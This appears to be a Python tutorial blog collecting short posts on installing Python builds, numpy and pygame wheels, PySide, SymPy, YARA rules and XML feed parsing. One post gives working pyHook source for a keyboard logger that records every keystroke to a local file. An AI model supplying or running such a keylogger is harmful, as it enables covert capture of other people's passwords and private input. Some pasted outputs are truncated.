The new Python 2.7.11rc1.

The next release in the 2.7.x series is now available with the version 2.7.11.rc.1 .
This can be download it from here.
Come with source release, installer for Windows, Mac OS X 10.6 and later.
I don't use linux instalation, just on Windows 10 - 64 MSI installer.
The changes of this version can be see here.
First I saw this python version will change my old python 2.7 version.

Also I check to compile all python scripts and module.
With installed Python 2.7 I check if is all ok.

C:\Python27>python.exe
Python 2.7.11rc1 (v2.7.11rc1:82dd9545bd93, Nov 21 2015, 23:25:27) [MSC v.1500 64
 bit (AMD64)] on win32

Some python modules has problems with update...

  Failed building wheel for pycuda

Note:
I think the python has some problems with keep and clean correct modules under pip.
Also I guest can be done with few rows of python scripts but also this can be done by default by python installation.

WinPython - news and old stuff.

First good news: the team tells us about the WinPython will come with new release of WinPython.
This will be 3.4.3.7 version of WinPython and this will be great for most of users.
I love this portable python because first is easy to use and can easy test my python scripts.
One goal of this portable python it's the demos. I found some great demos with PyQt4 and networkx.

Also you can use Spyder to make your python scripts.
It's a free open-source development environment for the Python programming language.
This visual interface similar to MATLAB where you can run commands, edit and debug programs, check the values of variables and the definitions of functions, etc.
If you just getting started with Python then just take a look at google.com/edu/python.
The WinPython Control Panel allows to register your WinPython distribution to Windows with Advanced - Register distribution ...:
...and this allow you to:

• associate file extensions .py, .pyc and .pyo to Python interpreter
• register Python icons in Windows explorer
• add context menu entries Edit with IDLE and Edit with Spyder for .py files
• register WinPython as a standard Python distribution in the registry (the same way as the standard Python Windows installers will do)

Also you can use Jupyter Notebook web application.
This allow you to:
The Jupyter Notebook is a web application that allows you to create and share documents that contain live code, equations, visualizations and explanatory text. Uses include: data cleaning and transformation, numerical simulation, statistical modeling, machine learning and much more.

Testing the SymPy python module with Python 3.4.1 .

SymPy is a Python library for symbolic mathematics.
This module is a computer algebra system (CAS) written in the Python programming language.
A large can be found on this blog aggregator at planet.sympy.org.
First, You need to install it using pip3.4.

For a short introduction into SymPy python module I will show you the printing features.
The most common printers available in SymPy are:

• str
• repr
• ASCII pretty printer
• Unicode pretty printer
• LaTeX
• MathML
• Dot

Let's test it this first example:

How to print one matrix :

>>> x, y, z = symbols('x, y, z')
>>> init_session(quiet=True)
Python console for SymPy 0.7.6 (Python 3.4.1-64-bit) (ground types: python)

>>> mat = Matrix([x*y, 1,0,3,-2, sin(z)])
>>> mat

[      ]
[  1   ]

[  0   ]
[      ]
[  3   ]
[      ]
[  -2  ]
[      ]
[sin(z)]

Next example come with this issue: equations can be solved with SymPy python module.

>>> solve(x*x+x+2)
         ___            ___

Pillow python module with Python 3.4.1 .

This simple tutorial about PIL and Pillow python modules can show you how to install the Pillow python module.
I used pip3.4 and python 3.4.1 version.
Some problems about how to write your source code can be found : porting pil to pillow.

Simple tutorial about haralyzer python module.

This is a simple usage of haralyzer python module.

The numpy - install over python 3.4 version.

The last version 1.9.2 of python module can solve instalation over python from sourceforge.net -projects.
This link from Numerical Python module come with exe file over python versions: 3.4 , 3.3 and 2.7.
I test the 3.4 version - 32 bits but I got this great error:

>>> import numpy
Traceback (most recent call last):
File "", line 1, in 
File "C:\Python34\lib\site-packages\numpy\__init__.py", line 170, in 
from . import add_newdocs
File "C:\Python34\lib\site-packages\numpy\add_newdocs.py", line 13, in 
from numpy.lib import add_newdoc
File "C:\Python34\lib\site-packages\numpy\lib\__init__.py", line 8, in 
from .type_check import *
File "C:\Python34\lib\site-packages\numpy\lib\type_check.py", line 11, in 
import numpy.core.numeric as _nx
File "C:\Python34\lib\site-packages\numpy\core\__init__.py", line 6, in 
from . import multiarray
ImportError: DLL load failed: %1 is not a valid Win32 application.

How to fix this:
Also the pip3.4 don't want to install the numpy python module just if you use this link.
You can do this with :

C:\Python34\Scripts>pip3.4.exe install --upgrade wheel
Requirement already up-to-date: wheel in c:\python34\lib\site-packages
C:\Python34\Scripts>pip3.4.exe install "C:\Users\...\Downloads\numpy-1.9.2+m
kl-cp34-none-win_amd64.whl"
After that you can import the numpy module 

PySide - Introduction - part 002.

First, PySide itself is licensed under LGPLv2.1, most of the examples are licensed under GPLv2.
After importing PySide then you can see all PySide python submodule:

>>> import PySide
>>> from PySide import *
>>> dir(PySide)
['QtCore', 'QtGui', 'QtNetwork', 'QtOpenGL', 'QtScript', 'QtSql', 'QtSvg', 'QtTe
st', 'QtWebKit', '__all__', '__builtins__', '__doc__', '__file__', '__name__', '
__package__', '__path__', '__version__', '__version_info__', '_setupQtDirectorie
s', '_utils']

Also this can help you to see all about Qt components and versions using by PySide:
Let's how can do it:

# prints PySide version
>>> print PySide.__version__
1.2.2
# gets a tuple with each version component
>>> print PySide.__version_info__
(1, 2, 2, 'final', 0)
# prints the Qt version used to compile PySide
>>> print PySide.QtCore.__version__
4.8.5
# gets a tuple with each version components of Qt used to compile PySide
>>> print PySide.QtCore.__version_info__
(4, 8, 5)

Something about PySide submodules:
QtCore - core non-GUI functionality;
QtGui - extends QtCore with GUI functionality;
QtNetwork - offers classes that allow you to write TCP/IP clients and servers;
QtOpenGL - offers classes that make it easy to use OpenGL in Qt applications;
QtScript - provides classes for making Qt applications scriptable;
QtSql - helps you provide seamless database integration to your Qt applications;
QtSvg - provides classes for displaying the contents of SVG files;
QtWebkit - provides a Web browser engine;
The QtTest submodule can be used to test your PySide script code.
The structure PySide application can be see under my first tutorial.
About this PySide application most of this can be created with classes
To make one GUI ( ) just import QtGUI with your class ...
This source code can be used also you can get some errors:

>>> import sys
...
>>> from PySide import QtGui
...
>>> app = QtGui.QApplication(sys.argv)

You need sys python module also the application can have this option : sys.argv .
You can searching and used all your widgets.
For example :

>>> import sys
>>> import PySide
>>> from PySide import *
>>> myapp = QtGui.QApplication(sys.argv)
>>> mywidgets = QtGui.QWidget()
>>> mywidgets.show()

The title of your application will be python.
You can set this title bellow show method , with :

mywidgets.setWindowTitle('my app title ')

About my class Example from pyside-introduction-part-001 then I will tell you how to make one simple class example.
First I used this class named Example with this methods:

class Example(QtGui.QWidget):
...
#defaul init class method 
__init__(self)
...
#make and show the window application
initUI(self)
...
#my method to put the window to the desktop screen
center(self)
...
#method to deal with events and also close the application
closeEvent(self, event)
...

Into __init___ I used super() method.
The main reason I used this it's :
-super() method lets you avoid referring to the base class explicitly and let you to use multiple inheritance.
The main function come with some source code:
Make the application :

app = QtGui.QApplication(sys.argv)

and also put my widgets under this with this python code:

ex = Example()

About events I will make another tutorial ...

New tutorials about PySide .

I make one new tutorial about PySide. I started with one simple tutorial with two simple examples.
I hope this help you.

The new release Python 3.5.0a4 - tutorial.

I install the Windows amd64 web-based installer. This allow me to use the windows gui to make all settings.
You also need some administrator privileges for C Runtime ...

Some notes about this installation process:

• If you have previously installed Python 3.5.0a1, you may need to manually uninstall it.
• If installing Python 3.5.0a4 as a non-privileged user, you may need to escalate to administrator privileges to install an update to your C runtime libraries.
• Python 3.5 now has an embeddable installer designed to be run as part of a larger application's installer for apps using or extending Python.There is now a third type of Windows installer for Python 3.5.

You can find your python files under \AppData\Local\Programs\Python\Python35.
The Python35 have python.exe, see:

Python 3.5.0a4 (v3.5.0a4:413e0e0004f4, Apr 19 2015, 18:01:47) [MSC v.1900 64 bit

Using facepy to deal with facebook .

This python module allow you to get some data from facebook using Facebook’s Graph API.
The development team tell us:
Facepy can do more than reading your latest posts and posting photographs of parrots, but you’ll have to read the documentation to find out how.
You can use pip to install this module ( pip2.7 or pip3.4):

pip install facepy
The python script is simple :

...\Python34>cd Scripts
Scripts>pip3.4.exe install facepy

Now you can test this with this simple script:

C:\Python34>python.exe

Install PyOpenGL with pip with wheel and WHL file .

This is a old tutorial I wrote about how to install python on windows 8.1 with distribute, pip, virtualenv and virtualenvwrapper-powershell.
Now I will show you how to deal with WHL files and pip wheel.
First you need to install pip under your python folder.
I used in this case Python 2.7 version.
The WHL file and wheel is a ZIP-format archive with a specially formatted filename and the .whl extension.
You can use this :

C:\Python27\Scripts>pip2.7 install wheel
Collecting wheel
  Downloading wheel-0.24.0-py2.py3-none-any.whl (63kB)

    100% |################################| 1.3MB 952kB/s ta 0:00:01

This will install wheel and update the pip2.7 .
For example, just use next command to install OpenGL python module.

C:\Python27\Scripts>pip2.7 install PyOpenGL
Collecting PyOpenGL

Also pygame whl working with pip2.7.
I download it from pygame website, from here. Download your version of WHL file ( amd64 is for CPU 64 bits) and your python version (cpxx). Now use this command:

C:\Python27\Scripts>pip2.7.exe install "C:\Downloads\pygame-1.9.2a
0-cp27-none-win_amd64.whl"
...
Installing collected packages: pygame
  Found existing installation: pygame 1.9.1
    DEPRECATION: Uninstalling a distutils installed project (pygame) has been de
precated and will be removed in a future version. This is due to the fact that u
ninstalling a distutils project will only partially uninstall the project.
    Uninstalling pygame-1.9.1:
      Successfully uninstalled pygame-1.9.1

News : PythonAnywhere come with good news.

The author Giles tells us:
Obviously, the most important thing we did was to switch out our javascript console for a new one that supports 256 colours! And slightly more sane copy + paste. And it works on Android, or at least it does on Lollipop. Giles recommends the Hackers keyboard. Still doesn't work on my blackberry though.
As you know :
PythonAnywhere is a Python development and hosting environment that displays in your web browser and runs on our servers. They're already set up with everything you need. It's easy to use, fast, and powerful. There's even a useful free plan.
I worked with PythonAnywhere and is very good. Thank you Giles.

The Yara documentation can be found in this link.
The yara python module use version 1.7.7 and this will need to use when make rules.
Instalation with pip :

C:\Python34>cd Scripts
C:\Python34\Scripts>pip install yara
Downloading/unpacking yara
Installing collected packages: yara
  Running setup.py install for yara

    Installing yara-ctypes-script.py script to C:\Python34\Scripts
    Installing yara-ctypes.exe script to C:\Python34\Scripts

Cleaning up...

Let's see this in action.
First you need to make your user under your_user account.
I make one folder named yara to keep the my rules, see:

C:\\Users\\your_user\\Dropbox\\yara\\

and I test this file named doc_data.txt, from here:

C:\\Users\\your_user\\Dropbox\\

The file has this text :

InfoKey: Creator
InfoValue: TeX
InfoKey: Producer
InfoValue: pdfTeX-1.40.3
InfoKey: PTEX.Fullbanner
InfoValue: This is pdfTeX using libpoppler, Version 3.141592-1.40.3-2.2 (Web2C 7.5.6) kpathsea version 3.5.6
InfoKey: ModDate
InfoValue: D:20110210185614-08'00'
InfoKey: CreationDate
InfoValue: D:20110210185614-08'00'
PdfID0: 5691a9b61e98f4c329d4f9f6deb5363c
PdfID1: 5691a9b61e98f4c329d4f9f6deb5363c
NumberOfPages: 24

and the rule file detectstring has this rule:

rule detectstring
{
    strings:
        $my_text_string = "5691a9b61e98f4c329d4f9f6deb5363c"

    condition:
        $my_text_string 
}

You can use python shell with this source code:

import yara
from yara import *
dir(yara)
['CALLBACK_ABORT', 'CALLBACK_CONTINUE', 'INCLUDE_PATH', 'Rules', 'YARA_RULES_ROO
T', 'YaraSyntaxError', '__builtins__', '__cached__', '__doc__', '__file__', '__l
oader__', '__name__', '__package__', '__path__', '__spec__', '__version__', 'com
pile', 'libyara_wrapper', 'load_rules', 'preprocessor', 'rules', 'version']
print(yara.version.__version__)
1.7.7
rules=yara.compile("C:\\Users\\your_user\\Dropbox\\yara\\detectstring")
matches=rules.match("C:\\Users\\your_user\\Dropbox\\doc_data.txt")
print(matches)
{'main': [{'tags': [], 'matches': True, 'rule': 'detectstring', 'meta': {}, 'str
ings': [{'flags': 19, 'identifier': '$my_text_string', 'data': '5691a9b61e98f4c3
29d4f9f6deb5363c', 'offset': 326}, {'flags': 19, 'identifier': '$my_text_string'
, 'data': '5691a9b61e98f4c329d4f9f6deb5363c', 'offset': 367}]}]}

The above rule is telling YARA that the file containing the string must be reported.
The print will show the rule compiled and the result.

Windows all modules for python 3.4

Most users have a lot of problems with modules.
It's difficult to developing some script from python 2.7 to python 3.x ,common error is print.
First step in this case is to install modules.
You can found all windows modules here.
All this is packed into executable and will find your folder with your python 3.x
For example the executable module named : pygame‑1.9.2a0.win‑amd64‑py3.4.exe shows us through the contents of the file name:

• will install pygame module version 1.9.2a0 windows version
• on amd64 operating systems
• into python version 3.4

very simple to use it.

Parsing feeds - get by attribute and value - part 2

Most developers use REST services or other data feeds that move data using XML.
This is a simple script to read online the xml file.
I used minidom but you can also use etree with ElementTree or cElementTree from etree.
I don't know if the ElementTree or cElementTree are more faster like minidom.
The script use urllib2 to open the file.
The file will show us the currency from each country.
The main goal of this script is : how to deal with attribute and value from xml files.
You can also see first part of this issue.
The structure of the xml file has also some attributes - currency.
Basicaly is something like this :

<!--xml version="1.0" encoding="UTF-8"?-->
-<dataset xsi:schemaLocation="http://www.bnr.ro/xsd nbrfxrates.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.bnr.ro/xsd">
-<header>
<publisher>National Bank of Romania</Publisher>
<publishingdate>2014-02-14</PublishingDate>
<messagetype>DR</MessageType>
</Header>
-<body>
<subject>Reference rates</Subject>
<origcurrency>RON</OrigCurrency>
-<cube date="2014-02-14">
<rate currency="AED">0.8909</Rate>
<rate currency="AUD">2.9529</Rate>
<rate currency="BGN">2.2913</Rate>
...

Now let see the script :

from xml.dom import minidom as dom
import urllib2

def fetchPage(url):
    a = urllib2.urlopen(url)
    return ''.join(a.readlines())

def extract(page):
    a = dom.parseString(page)

    item = a.getElementsByTagName('Rate')

    for i in item:
        if i.hasChildNodes() == True:
                print i.getAttribute('currency')+"-"+ i.firstChild.nodeValue

if __name__=='__main__':
    page = fetchPage("http://www.bnro.ro/nbrfxrates.xml")
    extract(page)

and the output is this :

AED-0.8909
AUD-2.9529
BGN-2.2913
BRL-1.3665
CAD-2.9879
CHF-3.6655

My first logger python script to record keys .

Few days ago I worked with one issue : keyboard logger .
My first dilemma was: to use assemblly language or something simple like python.
My option was python - simple and fast to test how to deal with this issue.
About logger : A keyboard Logger is intended to record the keystrokes that a user inputs on a computer keyboard in addition to other user actions.
I make simple script after I search about how to deal with this.
You can see my script is simple and can be use if you want to record Python Interactive Interpreter.
I don't finish it , some keys like : backspace or enter will be put into log file.
So if you deal very well with python don't use this keys...
Anyway if I want to finish this then I need to fix this ...
Let's see the python script:

try:
 import pythoncom, pyHook, sys, logging
except:
 sys.exit()

#specials = {8:'BACKSPACE',9:'TAB',13:'ENTER', 27:'ESC', 32:'SPACE'}

specials = {9:'TAB',13:'ENTER', 27:'ESC'}
buffer = ''

def OnKeyboardEvent(event):
 try:
  logging.basicConfig(filename='C:\\aa\\log_output.txt',level=logging.DEBUG,format='%(message)s')
  global buffer
  
  if event.Ascii in range(32,127):
   print chr(event.Ascii)
   buffer += chr(event.Ascii)
  
  if event.Ascii in specials:
   print '<'+specials[event.Ascii]+'>'
   logging.log(10,buffer)
   buffer = ''
   logging.log(10,'<'+specials[event.Ascii]+'>')
   
  return True
 except:
  sys.exit()

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Let's see the result of this :

The output log text file ...:

python 
<ENTER>
import os 
<ENTER>
import sys
<ENTER>

Install python on windows 8.1 with distribute, pip, virtualenv and virtualenvwrapper-powershell .

Today I wand to show you something new. The goal is using python under Windows OS (Windows 8.1).

This tutorial will cover the instalation of Python 2.7 with distribute (0.7.3), pip (1.5.2), virtualenv (1.11.2) and virtualenvwrapper-powershell.

The default instalation folder I used is under C: drive

I used python 2.7.6.

It's a executable file ... just run it.

Now you have: C:\Python27\ folder with all files.

We need to using also the fork of the Setuptools project named distribute.

Download distribute zip file from python distribute 0.7.3.

Unarhive the file under C: drive and you will have C:\distribute-0.7.3 folder.

Go to distribute and let's install it.

C:\>cd distribute-0.7.3
C:\distribute-0.7.3>\Python27\python.exe setup.py --help
C:\distribute-0.7.3>\Python27\python.exe setup.py build
C:\distribute-0.7.3>\Python27\python.exe setup.py install

Also we need to install pip , see this pip webpage.

You need to get this python script from here.

Put this script into C:\Python27 folder and use this command to install pip.

C:\Python27>python.exe get-pip.py

Under site-packages you can see the pip and distribute ...

C:\Python27\Lib\site-packages>dir /w
 Volume in drive C has no label.
 Volume Serial Number is 9AE5-9AC9

 Directory of C:\Python27\Lib\site-packages

[.]
[..]
distribute-0.7.3-py2.7.egg
easy-install.pth
[pip]
[pip-1.5.2.dist-info]
README.txt
setuptools.pth
[virtualenv-1.11.2.dist-info]
virtualenv.py
virtualenv.pyc
[virtualenvwrapper_powershell-12.7.8-py2.7.egg-info]
[virtualenv_support]

Let's see if this python modules working ...

C:\Python27>python.exe
Python 2.7.6 (default, Nov 10 2013, 19:24:24) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import distutils
>>> import pip
>>>

Edit your environment variable by adding: ";C:\Python27\Scripts\" and ";C:\Python27\", see image below:

After that you can restart the command shell or your windows os.

I just restart the command shell and working well with the new environment vars...

Now we need to install virtualenv and virtualenvwrapper-powershell using pip:

C:\>pip install virtualenv
C:\>pip install virtualenvwrapper-powershell

The virtualenv kit provides the ability to create virtual Python environments that do not interfere with either each other, or the main Python installation.

And virtualenvwrapper-powershell it's a PowerShell clone of Doug Hellmann's virtualenvwrapper.

C:\Python27>pip list
distribute (0.7.3)
pip (1.5.2)
setuptools (0.8b2)
virtualenv (1.11.2)
virtualenvwrapper-powershell (12.7.8)

... and this is all for today.

Simple way to remove duplicates from a list.

In Python 2.5 and later you can simple remove duplicates from a python list.

Let's see one simple example ...

>>> my_list = [1,2,3,22,33,11,33,'a','b','c','a']
>>> my_list = list(set(my_list))
>>> print my_list
['a', 1, 2, 3, 33, 11, 'c', 'b', 22]

As you can see the 33 and a items is removed.
